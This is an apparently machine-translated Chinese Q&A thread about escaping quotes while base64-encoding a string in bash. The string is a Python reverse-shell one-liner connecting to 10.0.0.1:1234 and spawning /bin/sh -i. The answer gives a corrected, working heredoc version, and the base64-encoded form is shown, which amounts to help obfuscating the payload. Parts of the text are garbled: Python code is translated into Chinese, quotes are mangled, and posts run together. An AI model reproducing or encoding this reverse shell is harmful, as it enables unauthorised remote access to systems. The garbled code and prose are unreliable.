如何在bash中转义base64编码字符串中的引号?
因此,我尝试对包含python单行程序的字符串进行base64编码 如何将base64编码字符串拆分为多行?我想是引用的。“'” 这就是我尝试过的:如何在bash中转义base64编码字符串中的引号?,bash,base64,Bash,Base64,因此,我尝试对包含python单行程序的字符串进行base64编码 如何将base64编码字符串拆分为多行?我想是引用的。“'” 这就是我尝试过的: echo“python-c”导入套接字、子进程、操作系统; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s、 connect(((“10.0.0.1”,1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(
echo“python-c”导入套接字、子进程、操作系统;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s、 connect(((“10.0.0.1”,1234));os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);
p=子进程调用([“/bin/sh”,“-i”];”“| base64
它输出:
cHl0aG9uIC1jICdpbXBvcnQgc29ja2V0LHN1YnByb2Nlc3Msb3M7IHM9c29ja2V0LnNvY2tldChz
b2NrZXQuQUZfSU5FVCwgc29ja2V0LlNPQ0tfU1RSRUFNKTsgcy5jb25uZWN0KCgxMC4wLjAuMSwx
MjM0KSk7IG9zLmR1cDIocy5maWxlbm8oKSwwKTsgb3MuZHVwMihzLmZpbGVubygpLDEpOyBvcy5k
dXAyKHMuZmlsZW5vKCksMik7IHA9c3VicHJvY2Vzcy5jYWxsKFsvYmluL3NoLC1pXSk7Jwo=
将base64编码字符串拆分为多行是什么
换行符是基于输出长度而不是基于输入中的特殊符号插入的。参见man base64
:
-w,--wrap=COLS
在COLS字符后换行编码(默认为76)。使用0禁用换行
因此,您可以编写echo someString | base64-w0
请注意,bash
如果引用不正确,可能会损坏字符串。在您的情况下,子流程调用([“/bin/sh”,“-i”])
中的“
被bash
吞没,而不是由echo
打印。请编写\”
或使用here文档:
base64 -w0 <<'EOF'
python -c 'import socket,subprocess,os;
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM);
s.connect(("10.0.0.1",1234)); os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);'
EOF
base64-w0您需要转义调用subprocess.call
时使用的双引号,因为开头的引号过早地关闭了echo
.echo“python-c”import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect('10.0.1',1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/sh','-i']);“| base64……”。。。。。。。。输出相同的结果是否可以通过管道将输出传输到类似“string>file.txt”的文件?或者存储到变量中?是的。语法是base64-w0我知道换行符的意思是实际的换行符很抱歉混淆了。谢谢使用bash解码字符串怎么样?